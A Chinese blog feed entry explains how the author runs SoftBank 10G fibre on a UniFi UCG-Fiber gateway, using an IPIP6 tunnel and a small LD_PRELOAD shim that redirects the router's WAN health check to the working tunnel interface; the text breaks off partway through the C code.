{"@attributes":{"version":"2.0"},"channel":{"title":"\u6674\u732b\u7684\u535a\u5ba2","link":"https:\/\/baka.studio\/","description":"Recent content on \u6674\u732b\u7684\u535a\u5ba2","generator":"Hugo -- gohugo.io","language":"zh-cn","lastBuildDate":"Sat, 28 Mar 2026 00:00:00 +0000","item":[{"title":"\u5728 UCG-Fiber \u4e0a\u4f18\u96c5\u5730\u4f7f\u7528 SoftBank 10G","link":"https:\/\/baka.studio\/p\/%E5%9C%A8-ucg-fiber-%E4%B8%8A%E4%BC%98%E9%9B%85%E5%9C%B0%E4%BD%BF%E7%94%A8-softbank-10g\/","pubDate":"Sat, 28 Mar 2026 00:00:00 +0000","guid":"https:\/\/baka.studio\/p\/%E5%9C%A8-ucg-fiber-%E4%B8%8A%E4%BC%98%E9%9B%85%E5%9C%B0%E4%BD%BF%E7%94%A8-softbank-10g\/","description":"\n <blockquote>\n <p>SoftBank 10G \u5149\u7ea4 + UCG-Fiber + IPIP6 \u96a7\u9053 + \u4e00\u4e2a 15 \u884c\u7684 C shim = \u5b8c\u7f8e\u7684 WAN \u72b6\u6001<\/p>\n<p><em>\u672c\u6587\u7ae0\u548c\u5176\u80cc\u540e\u7684\u5de5\u4f5c\u7531\u6211\u548c Claude Code \u5171\u540c\u5b8c\u6210<\/em><\/p>\n\n <\/blockquote>\n<h2 id=\"\u80cc\u666f10gbps-\u5149\u7ea4\u7684\u70e6\u607c\">\u80cc\u666f\uff1a10Gbps \u5149\u7ea4\u7684\u70e6\u607c\n<\/h2><p>\u524d\u5e74\u642c\u5bb6\u540e\u6362\u4e0a\u4e86 <a class=\"link\" href=\"https:\/\/www.softbank.jp\/internet\/sbhikari\/10g\/\" target=\"_blank\" rel=\"noopener\"\n >SoftBank \u5149\u30fb10\u30ae\u30ac<\/a>\u3002\u901f\u5ea6\u662f\u771f\u7684\u5feb\uff0c\u4f46\u6709\u4e2a\u95ee\u9898\uff1a<strong>SoftBank \u5f3a\u5236\u8981\u6c42\u4f7f\u7528\u4ed6\u4eec\u7684\u8def\u7531\u5668(XG-1000NE)<\/strong>\u3002\u8fd9\u73a9\u610f\u8d1f\u8d23 IPoE \u8ba4\u8bc1\u548c SoftBank \u81ea\u6709\u7684 IPv4 over IPv6 \u96a7\u9053\uff0c\u6ca1\u6709\u5b83\u7684\u8bdd\uff0c\u5c31\u53ea\u80fd\u901a\u8fc7 DHCPv6 \u62ff\u5230 IPv6 \u5730\u5740\uff0c\u62ff\u4e0d\u5230 IPv4\u3002<\/p>\n<p>\u6700\u8fd1\u6361\u4e86\u4e00\u53f0UCG Fiber\uff0c\u5b83\u6709\u4e00\u4e2a\u5b8c\u6574\u7684 Debian \u7cfb\u7edf\uff0c\u4e8e\u662f\u6211\u5c31\u5f00\u59cb\u7814\u7a76\u80fd\u4e0d\u80fd\u7528\u5b83\u6765\u4ee3\u66ff SoftBank \u7684\u8def\u7531\u5668\u3002<\/p>\n<p><img alt=\"UCG-Fiber \u5b9e\u7269\u7167\u7247 \u2014 \u7d27\u51d1\u7684\u684c\u9762\u578b 10G \u7f51\u5173\uff0c\u6b63\u9762\u53ef\u89c1 SFP+ \u548c RJ45 \u7aef\u53e3\" class=\"gallery-image\" data-flex-basis=\"320px\" data-flex-grow=\"133\" height=\"3024\" loading=\"lazy\" sizes=\"(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px\" src=\"https:\/\/baka.studio\/p\/%E5%9C%A8-ucg-fiber-%E4%B8%8A%E4%BC%98%E9%9B%85%E5%9C%B0%E4%BD%BF%E7%94%A8-softbank-10g\/ucg-fiber-photo.jpg\" srcset=\"https:\/\/baka.studio\/p\/%E5%9C%A8-ucg-fiber-%E4%B8%8A%E4%BC%98%E9%9B%85%E5%9C%B0%E4%BD%BF%E7%94%A8-softbank-10g\/ucg-fiber-photo_hu_c5f8ad73da5a35e5.jpg 800w, https:\/\/baka.studio\/p\/%E5%9C%A8-ucg-fiber-%E4%B8%8A%E4%BC%98%E9%9B%85%E5%9C%B0%E4%BD%BF%E7%94%A8-softbank-10g\/ucg-fiber-photo_hu_35e0bf9e0b3102ab.jpg 1600w, https:\/\/baka.studio\/p\/%E5%9C%A8-ucg-fiber-%E4%B8%8A%E4%BC%98%E9%9B%85%E5%9C%B0%E4%BD%BF%E7%94%A8-softbank-10g\/ucg-fiber-photo_hu_caf6b1ec75d518f1.jpg 2400w, https:\/\/baka.studio\/p\/%E5%9C%A8-ucg-fiber-%E4%B8%8A%E4%BC%98%E9%9B%85%E5%9C%B0%E4%BD%BF%E7%94%A8-softbank-10g\/ucg-fiber-photo.jpg 4032w\" width=\"4032\"><\/p>\n<p>\u95ee\u9898\u662f\uff1aUCG-Fiber \u7684 UniFiOS \u539f\u751f\u4e0d\u652f\u6301 SoftBank \u7684 IPv4 over IPv6 \u65b9\u6848\u3002\u5b83\u652f\u6301 v6plus (MAP-E) \u548c OCN \u30d0\u30fc\u30c1\u30e3\u30eb\u30b3\u30cd\u30af\u30c8\uff0c\u4f46 SoftBank \u7528\u7684\u662f\u81ea\u5df1\u7684 IPIP6 \u96a7\u9053\u534f\u8bae\u2014\u2014\u5b8c\u5168\u4e0d\u5728\u652f\u6301\u5217\u8868\u4e0a\u3002<\/p>\n<h2 id=\"\u53d1\u73b0-luci-app-fleth\">\u53d1\u73b0 luci-app-fleth\n<\/h2><p>\u5728 GitHub \u4e0a\u641c\u7d22\u7684\u65f6\u5019\u53d1\u73b0\u4e86 <a class=\"link\" href=\"https:\/\/github.com\/makeding\/luci-app-fleth\" target=\"_blank\" rel=\"noopener\"\n >luci-app-fleth<\/a>\uff0c\u4e00\u4e2a\u4e13\u4e3a\u65e5\u672c ISP \u8bbe\u8ba1\u7684 OpenWrt \u63d2\u4ef6\u3002\u5b83\u652f\u6301 DS-Lite\u3001MAP-E \u548c**\u72ec\u7acb IP\uff08IPIP6\uff09**\u4e09\u79cd\u6a21\u5f0f\uff0c\u5176\u4e2d\u72ec\u7acb IP \u6a21\u5f0f\u6b63\u662f\u6211\u9700\u8981\u7684\uff1a\u901a\u8fc7 IPIP6 \u96a7\u9053\u83b7\u53d6\u4e00\u4e2a\u4e13\u5c5e\u7684\u516c\u7f51 IPv4 \u5730\u5740\uff0c\u5e76\u4e14\u4f5c\u8005\u4e5f\u8bf4\u5728 SoftBank 10G \u4e1c\u65e5\u672c\u6d4b\u8bd5\u901a\u8fc7\u4e86\u3002<\/p>\n<p>\u4f46\u8fd9\u4e2a\u9879\u76ee\u662f\u7ed9 OpenWrt \u7684\u3002UCG-Fiber \u76f4\u63a5\u5237\u6210 OpenWrt \u5e76\u4e0d\u65b9\u4fbf\u3002\u4e0d\u8fc7\u770b\u4e86\u5b83\u7684\u811a\u672c <code>ipip6h.sh<\/code>\uff0c\u5176\u5b9e\u5c31\u662f\u51e0\u884c\u547d\u4ee4\uff1a<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><span class=\"lnt\">2\n<\/span><span class=\"lnt\">3\n<\/span><span class=\"lnt\">4\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\">ip tunnel add tun4 mode ipip6 <span class=\"nb\">local<\/span> &lt;\u672c\u5730IPv6&gt; remote &lt;\u5bf9\u7aefIPv6&gt; dev eth4\n<\/span><\/span><span class=\"line\"><span class=\"cl\">ip link <span class=\"nb\">set<\/span> tun4 mtu <span class=\"m\">1460<\/span> up\n<\/span><\/span><span class=\"line\"><span class=\"cl\">ip addr add &lt;\u516c\u7f51IPv4&gt;\/32 dev tun4\n<\/span><\/span><span class=\"line\"><span class=\"cl\">ip route add default dev tun4\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p>\u8fd9\u4e9b\u547d\u4ee4\u5728 UCG-Fiber \u4e0a\u5b8c\u5168\u53ef\u4ee5\u8dd1\u3002\u4e8e\u662f\u6211\u624b\u52a8\u642d\u5efa\u4e86\u96a7\u9053\uff0c\u52a0\u4e0a iptables \u505a NAT \u548c\u7aef\u53e3\u8f6c\u53d1\uff0c\u8bd5\u4e86\u4e00\u4e0b\u771f\u7684\u80fd\u62ff\u5230v4\u5730\u5740\u3002\u4e0d\u8fc7\u53ea\u8981\u5728\u8def\u7531\u5668\u7684UI\u4e0a\u6539\u4e00\u4e0b\u8bbe\u7f6e\u5c31\u4f1a\u628a\u96a7\u9053\u7834\u574f\u6389\uff0c\u4e8e\u662f\u5199\u4e86\u4e2a watchdog \u811a\u672c\u6bcf 15 \u79d2\u68c0\u67e5\u4e00\u6b21\u96a7\u9053\u72b6\u6001\u2014\u2014<strong>\u4e92\u8054\u7f51\u8bbf\u95ee\u5b8c\u7f8e\u6062\u590d\u4e86<\/strong>\u3002<\/p>\n<h2 id=\"\u95ee\u9898\u6d6e\u73b0wan-\u72b6\u6001-down\">\u95ee\u9898\u6d6e\u73b0\uff1aWAN \u72b6\u6001 DOWN\n<\/h2><p>\u867d\u7136\u96a7\u9053\u5de5\u4f5c\uff0c\u4f46 UniFi \u7684\u7ba1\u7406\u754c\u9762\u91cc WAN \u72b6\u6001\u4e00\u76f4\u663e\u793a\u4e3a <strong>DOWN<\/strong>\u3002<\/p>\n<p>\u867d\u7136\u4e5f\u80fd\u51d1\u6d3b\u7528\uff0c\u4f46\u6211\u5bb6\u91cc\u8fd8\u6709 <strong>Starlink<\/strong> \u7f51\u7edc\uff0c\u6211\u60f3\u628a\u5b83\u4f5c\u4e3a\u5907\u7528 WAN\uff0c\u5229\u7528 UCG-Fiber \u7684\u53cc WAN \u6545\u969c\u5207\u6362\u529f\u80fd\u3002\u4f46 UniFi \u7684 failover \u903b\u8f91\u4f9d\u8d56 WAN \u5065\u5eb7\u72b6\u6001\u2014\u2014\u5982\u679c\u4e3b WAN \u6c38\u8fdc\u663e\u793a DOWN\uff0c\u6545\u969c\u5207\u6362\u5c31\u6ca1\u7528\u3002<\/p>\n<h3 id=\"\u4e3a\u4ec0\u4e48\u4f1a-down\">\u4e3a\u4ec0\u4e48\u4f1a DOWN\uff1f\n<\/h3><p>IPv4\u662ftun\u62ff\u5230\u7684\uff0c\u800cWAN\u63a5\u53e3\u81ea\u5df1\u4e0d\u6301\u6709\u4efb\u4f55IPv4<\/p>\n<p>\u8bd5\u8fc7\u5728 UniFi \u91cc\u628a WAN \u8bbe\u7f6e\u4e3a DS-Lite \u6a21\u5f0f\uff0c\u4e5f\u53ea\u80fd\u62ff\u5230\u4e00\u4e2a\u65e0\u7528\u5730\u5740192.0.0.2\u3002\u4e0d\u8fc7\u7cfb\u7edf\u4f1a\u81ea\u52a8\u521b\u5efa\u4e00\u4e2a\u540d\u4e3a <code>ip6tnl1<\/code> \u7684\u96a7\u9053\u63a5\u53e3\u3002\u8fd9\u4e2a\u96a7\u9053\u7684\u8fdc\u7aef\u662f <code>::<\/code>\u3002UniFi \u901a\u8fc7\u8fd9\u4e2a\u63a5\u53e3\u505a\u5065\u5eb7\u68c0\u6d4b\uff0c\u7ed3\u679c\u5f53\u7136\u662f\u4e00\u76f4\u5931\u8d25\u3002<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><span class=\"lnt\">2\n<\/span><span class=\"lnt\">3\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">ip6tnl1: &lt;POINTOPOINT,NOARP,UP,LOWER_UP&gt; mtu 1452\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> link\/tunnel6 2400:...:1 peer ::\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> inet 192.0.0.2\/29 scope global ip6tnl1 \u2190 DS-Lite B4 \u5730\u5740\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p>\u800c\u6211\u4eec\u771f\u6b63\u5de5\u4f5c\u7684\u96a7\u9053 <code>tun4<\/code>\uff0cUniFi \u5b8c\u5168\u4e0d\u77e5\u9053\u5b83\u7684\u5b58\u5728\u3002<\/p>\n<h2 id=\"\u7b2c\u4e00\u6b21\u5c1d\u8bd5\u52ab\u6301\u6e90\u5730\u5740\u8def\u7531\u5931\u8d25\">\u7b2c\u4e00\u6b21\u5c1d\u8bd5\uff1a\u52ab\u6301\u6e90\u5730\u5740\u8def\u7531\uff08\u5931\u8d25\uff09\n<\/h2><p>\u6211\u7684\u7b2c\u4e00\u4e2a\u60f3\u6cd5\u662f\uff1a\u65e2\u7136 UniFi \u901a\u8fc7 <code>ip6tnl1<\/code> \u505a\u5065\u5eb7\u68c0\u6d4b\uff08ping 8.8.8.8\uff09\uff0c\u90a3\u6211\u8ba9\u8fd9\u4e9b ping \u5305\u8d70 <code>tun4<\/code> \u51fa\u53bb\u4e0d\u5c31\u884c\u4e86\uff1f<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><span class=\"lnt\">2\n<\/span><span class=\"lnt\">3\n<\/span><span class=\"lnt\">4\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># \u8ba9\u6765\u81ea DS-Lite B4 \u5730\u5740 (192.0.0.2) \u7684\u6d41\u91cf\u8d70\u4e3b\u8def\u7531\u8868<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">ip rule add from 192.0.0.2 lookup main prio <span class=\"m\">100<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># \u628a\u6e90\u5730\u5740 SNAT \u6210\u96a7\u9053\u7684\u516c\u7f51 IP<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">iptables -t nat -A POSTROUTING -s 192.0.0.2 -o tun4 -j SNAT --to-source 126.206.229.60\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p>\u6d4b\u8bd5\uff1a<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><span class=\"lnt\">2\n<\/span><span class=\"lnt\">3\n<\/span><span class=\"lnt\">4\n<\/span><span class=\"lnt\">5\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\">$ ping -I 192.0.0.2 8.8.8.8 <span class=\"c1\"># \u7ed1\u5b9a\u6e90\u5730\u5740<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">PING 8.8.8.8: <span class=\"m\">64<\/span> bytes, <span class=\"nv\">time<\/span><span class=\"o\">=<\/span>5.8ms \u2190 \u6210\u529f\uff01\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$ ping -I ip6tnl1 8.8.8.8 <span class=\"c1\"># \u7ed1\u5b9a\u63a5\u53e3<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">100% packet loss \u2190 \u5931\u8d25\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p><strong>\u7ed1\u5b9a\u6e90\u5730\u5740\u6709\u6548\uff0c\u4f46\u7ed1\u5b9a\u63a5\u53e3\u65e0\u6548\u3002<\/strong> <code>SO_BINDTODEVICE<\/code> \u76f4\u63a5\u5728\u94fe\u8def\u5c42\u628a\u5305\u4ece\u6307\u5b9a\u63a5\u53e3\u53d1\u51fa\uff0c\u5b8c\u5168\u7ed5\u8fc7\u8def\u7531\u8868\u548c ip rule\u3002\u95ee\u9898\u662f\uff1a<code>ubios-udapi-server<\/code> \u5230\u5e95\u7528\u7684\u662f\u54ea\u79cd\u65b9\u5f0f\uff1f<\/p>\n<p>\u7b54\u6848\u5f88\u5feb\u5c31\u660e\u786e\u4e86\u2014\u2014\u7ba1\u7406\u9875\u9762\u7684 WAN \u72b6\u6001\u4f9d\u7136\u662f DOWN\u3002<strong>\u5b83\u7528\u7684\u662f <code>SO_BINDTODEVICE<\/code>\u3002<\/strong><\/p>\n<pre class=\"mermaid\" style=\"visibility:hidden\">graph TB\n subgraph method_a[\"\u65b9\u6cd5 A: bind() + \u6e90\u5730\u5740 (192.0.0.2)\"]\n A1[\"udapi-server<br\/>bind(192.0.0.2)\"] --> A2[\"ip rule<br\/>from 192.0.0.2<br\/>lookup main\"]\n A2 --> A3[\"iptables SNAT<br\/>192.0.0.2 \u2192 \u516c\u7f51 IP\"]\n A3 --> A4[\"tun4 \u53d1\u51fa\"]\n A4 --> A5((\"8.8.8.8<br\/>\u2705 \u53ef\u8fbe\"))\n end\n\n subgraph method_b[\"\u65b9\u6cd5 B: SO_BINDTODEVICE('ip6tnl1')\"]\n B1[\"udapi-server<br\/>setsockopt(<br\/>SO_BINDTODEVICE,<br\/>'ip6tnl1')\"] --> B2[\"\u5185\u6838: \u6570\u636e\u5305<br\/>\u76f4\u63a5\u4ece ip6tnl1 \u53d1\u51fa\"]\n B2 -.-> B3[\"ip rule \u274c<br\/>(\u88ab\u7ed5\u8fc7)\"]\n B2 -.-> B4[\"iptables \u274c<br\/>(\u88ab\u7ed5\u8fc7)\"]\n B2 --> B5[\"ip6tnl1 \u53d1\u51fa<br\/>(remote = ::)\"]\n B5 --> B6((\"8.8.8.8<br\/>\u274c \u4e0d\u53ef\u8fbe\"))\n end<\/pre><h2 id=\"\u5176\u4ed6\u5931\u8d25\u7684\u5c1d\u8bd5\">\u5176\u4ed6\u5931\u8d25\u7684\u5c1d\u8bd5\n<\/h2><p>\u5728\u627e\u5230\u6700\u7ec8\u65b9\u6848\u4e4b\u524d\uff0c\u6211\u8fd8\u8bd5\u4e86\u51e0\u6761\u8def\uff1a<\/p>\n<p><strong>\u865a\u62df\u63a5\u53e3<\/strong>\uff1a\u80fd\u4e0d\u80fd\u521b\u5efa\u4e00\u4e2a dummy\/macvlan \u63a5\u53e3\u9a97\u8fc7 UniFi UI\uff1f\u4e0d\u884c\u3002UniFi \u7684\u7aef\u53e3\u5217\u8868\u662f\u56fa\u4ef6\u786c\u7f16\u7801\u7684\uff0c\u53ea\u663e\u793a <code>eth0<\/code>-<code>eth6<\/code>\uff0c\u865a\u62df\u63a5\u53e3\u6c38\u8fdc\u4e0d\u4f1a\u51fa\u73b0\u5728 WAN \u9009\u62e9\u5668\u91cc\u3002<\/p>\n<p><strong>\u4fee\u6539\u8def\u7531\u8868 201<\/strong>\uff1a<code>ip6tnl1<\/code> \u6709\u81ea\u5df1\u7684\u8def\u7531\u8868\uff08<code>201.ip6tnl1<\/code>\uff09\uff0c\u628a\u5b83\u7684\u9ed8\u8ba4\u8def\u7531\u6307\u5411 <code>tun4<\/code>\uff1f<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\">ip route replace default dev tun4 table 201.ip6tnl1\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p>\u7136\u800c <code>SO_BINDTODEVICE<\/code> \u8fde\u8def\u7531\u8868\u90fd\u4e0d\u770b\uff0c\u5305\u76f4\u63a5\u4ece <code>ip6tnl1<\/code> \u53d1\u51fa\u3002<\/p>\n<p><strong>\u4fee\u6539\u4e8c\u8fdb\u5236\u6587\u4ef6<\/strong>\uff1a\u76f4\u63a5 patch <code>ubnt_monitor<\/code>\uff1f\u6211\u7528 <code>strings<\/code> \u5206\u6790\u4e86\u5b83\uff0c\u53d1\u73b0\u5927\u91cf <code>Ping<\/code> \u76f8\u5173\u5b57\u7b26\u4e32\u2026\u2026\u7ed3\u679c\u90a3\u90fd\u662f <strong>Go HTTP\/2 \u7684 Ping frame<\/strong>\u3002\u8fd9\u4e2a\u8fdb\u7a0b\u5b9e\u9645\u4e0a\u662f <code>analytic-report-go<\/code>\uff0c\u4e00\u4e2a\u6570\u636e\u5206\u6790\u4e0a\u62a5\u5de5\u5177\uff0c\u6839\u672c\u4e0d\u662f\u5065\u5eb7\u68c0\u6d4b\u5668\u3002<\/p>\n<p>\u771f\u6b63\u7684\u5065\u5eb7\u68c0\u6d4b\u5668\u662f <strong><code>ubios-udapi-server<\/code><\/strong>\uff0c\u8fd9\u662f\u4e00\u4e2a 30MB \u7684 C \u7a0b\u5e8f\u3002\u800c\u5b83\u7684\u63a5\u53e3\u540d\u4e0d\u662f\u786c\u7f16\u7801\u7684\uff0c\u662f\u8fd0\u884c\u65f6\u4ece UDAPI \u72b6\u6001\u6587\u4ef6\u52a8\u6001\u8bfb\u53d6\u7684\uff0c\u6240\u4ee5\u7b80\u5355\u7684\u5b57\u7b26\u4e32\u66ff\u6362\u4e5f\u884c\u4e0d\u901a\u3002<\/p>\n<h2 id=\"\u8f6c\u673a\u5b83\u662f\u52a8\u6001\u94fe\u63a5\u7684\">\u8f6c\u673a\uff1a\u5b83\u662f\u52a8\u6001\u94fe\u63a5\u7684\n<\/h2><p>\u5f53\u6211\u5feb\u8981\u653e\u5f03\u7684\u65f6\u5019\uff0c\u8dd1\u4e86\u4e00\u4e0b <code>ldd<\/code>\uff1a<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><span class=\"lnt\">2\n<\/span><span class=\"lnt\">3\n<\/span><span class=\"lnt\">4\n<\/span><span class=\"lnt\">5\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\">$ ldd \/usr\/bin\/ubios-udapi-server\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> libudapi.so <span class=\"o\">=<\/span>&gt; \/usr\/lib\/aarch64-linux-gnu\/libudapi.so\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> libsw.so <span class=\"o\">=<\/span>&gt; \/usr\/lib\/libsw.so\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> libc.so.6 <span class=\"o\">=<\/span>&gt; \/lib\/aarch64-linux-gnu\/libc.so.6\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> ...\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p><strong>\u5b83\u662f\u52a8\u6001\u94fe\u63a5\u7684\uff01<\/strong> \u8fd9\u610f\u5473\u7740 <code>LD_PRELOAD<\/code> \u53ef\u4ee5\u7528\u3002<\/p>\n<pre class=\"mermaid\" style=\"visibility:hidden\">sequenceDiagram\n participant U as ubios-udapi-server\n participant H as hook_bindtodevice.so<br\/>(LD_PRELOAD)\n participant L as libc (\u771f\u6b63\u7684 setsockopt)\n participant K as \u5185\u6838\n\n Note over U,K: \u5065\u5eb7\u68c0\u6d4b\u5f00\u59cb: WAN ping 8.8.8.8\n\n U->>H: setsockopt(fd, SOL_SOCKET,<br\/>SO_BINDTODEVICE, \"ip6tnl1\")\n \n Note over H: memcmp(optval, \"ip6tnl1\") == 0<br\/>\u2192 \u66ff\u6362\u4e3a \"tun4\"!\n\n H->>L: setsockopt(fd, SOL_SOCKET,<br\/>SO_BINDTODEVICE, \"tun4\")\n\n L->>K: \u5c06 socket \u7ed1\u5b9a\u5230 tun4\n\n K-->>U: ping 8.8.8.8 \u2192 \u7ecf tun4 \u53d1\u51fa<br\/>\u2192 \u6536\u5230\u56de\u590d \u2705\n\n Note over U: WAN \u72b6\u6001: UP \u2705\n\n rect rgb(199,199,199)\n Note over U,K: \u666e\u901a setsockopt \u8c03\u7528 (\u975e ip6tnl1)\n U->>H: setsockopt(fd, level, optname, other_val)\n Note over H: \u4e0d\u662f ip6tnl1 \u2192 \u539f\u6837\u900f\u4f20\n H->>L: setsockopt(fd, level, optname, other_val)\n L->>K: (\u65e0\u4fee\u6539)\n end<\/pre><h2 id=\"15-\u884c\u4ee3\u7801\u7684\u89e3\u51b3\u65b9\u6848\">15 \u884c\u4ee3\u7801\u7684\u89e3\u51b3\u65b9\u6848\n<\/h2><p>\u65e2\u7136 <code>ubios-udapi-server<\/code> \u901a\u8fc7 <code>setsockopt(SO_BINDTODEVICE, &quot;ip6tnl1&quot;)<\/code> \u628a\u5065\u5eb7\u68c0\u6d4b\u7ed1\u5b9a\u5230\u90a3\u4e2a\u574f\u6389\u7684\u96a7\u9053\u4e0a\uff0c\u6211\u53ea\u9700\u8981\u5728\u5b83\u8c03\u7528 <code>setsockopt<\/code> \u7684\u65f6\u5019\u628a <code>&quot;ip6tnl1&quot;<\/code> \u5077\u5077\u6362\u6210 <code>&quot;tun4&quot;<\/code>\uff1a<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\"> 1\n<\/span><span class=\"lnt\"> 2\n<\/span><span class=\"lnt\"> 3\n<\/span><span class=\"lnt\"> 4\n<\/span><span class=\"lnt\"> 5\n<\/span><span class=\"lnt\"> 6\n<\/span><span class=\"lnt\"> 7\n<\/span><span class=\"lnt\"> 8\n<\/span><span class=\"lnt\"> 9\n<\/span><span class=\"lnt\">10\n<\/span><span class=\"lnt\">11\n<\/span><span class=\"lnt\">12\n<\/span><span class=\"lnt\">13\n<\/span><span class=\"lnt\">14\n<\/span><span class=\"lnt\">15\n<\/span><span class=\"lnt\">16\n<\/span><span class=\"lnt\">17\n<\/span><span class=\"lnt\">18\n<\/span><span class=\"lnt\">19\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-c\" data-lang=\"c\"><span class=\"line\"><span class=\"cl\"><span class=\"cp\">#define _GNU_SOURCE\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cp\">#include<\/span> <span class=\"cpf\">&lt;dlfcn.h&gt;<\/span><span class=\"cp\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cp\">#include<\/span> <span class=\"cpf\">&lt;errno.h&gt;<\/span><span class=\"cp\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cp\">#include<\/span> <span class=\"cpf\">&lt;string.h&gt;<\/span><span class=\"cp\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cp\">#include<\/span> <span class=\"cpf\">&lt;sys\/socket.h&gt;<\/span><span class=\"cp\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">typedef<\/span> <span class=\"nf\">int<\/span> <span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"kt\">real_setsockopt_t<\/span><span class=\"p\">)(<\/span><span class=\"kt\">int<\/span><span class=\"p\">,<\/span> <span class=\"kt\">int<\/span><span class=\"p\">,<\/span> <span class=\"kt\">int<\/span><span class=\"p\">,<\/span> <span class=\"k\">const<\/span> <span class=\"kt\">void<\/span> <span class=\"o\">*<\/span><span class=\"p\">,<\/span> <span class=\"kt\">socklen_t<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kt\">int<\/span> <span class=\"nf\">setsockopt<\/span><span class=\"p\">(<\/span><span class=\"kt\">int<\/span> <span class=\"n\">fd<\/span><span class=\"p\">,<\/span> <span class=\"kt\">int<\/span> <span class=\"n\">level<\/span><span class=\"p\">,<\/span> <span class=\"kt\">int<\/span> <span class=\"n\">optname<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">const<\/span> <span class=\"kt\">void<\/span> <span class=\"o\">*<\/span><span class=\"n\">optval<\/span><span class=\"p\">,<\/span> <span class=\"kt\">socklen_t<\/span> <span class=\"n\">optlen<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"kt\">real_setsockopt_t<\/span> <span class=\"n\">real<\/span> <span class=\"o\">=<\/span> <span class=\"nf\">dlsym<\/span><span class=\"p\">(<\/span><span class=\"n\">RTLD_NEXT<\/span><span class=\"p\">,<\/span> <span class=\"s\">&#34;setsockopt&#34;<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"o\">!<\/span><span class=\"n\">real<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span> <span class=\"n\">errno<\/span> <span class=\"o\">=<\/span> <span class=\"n\">ENOSYS<\/span><span class=\"p\">;<\/span> <span class=\"k\">return<\/span> <span class=\"o\">-<\/span><span 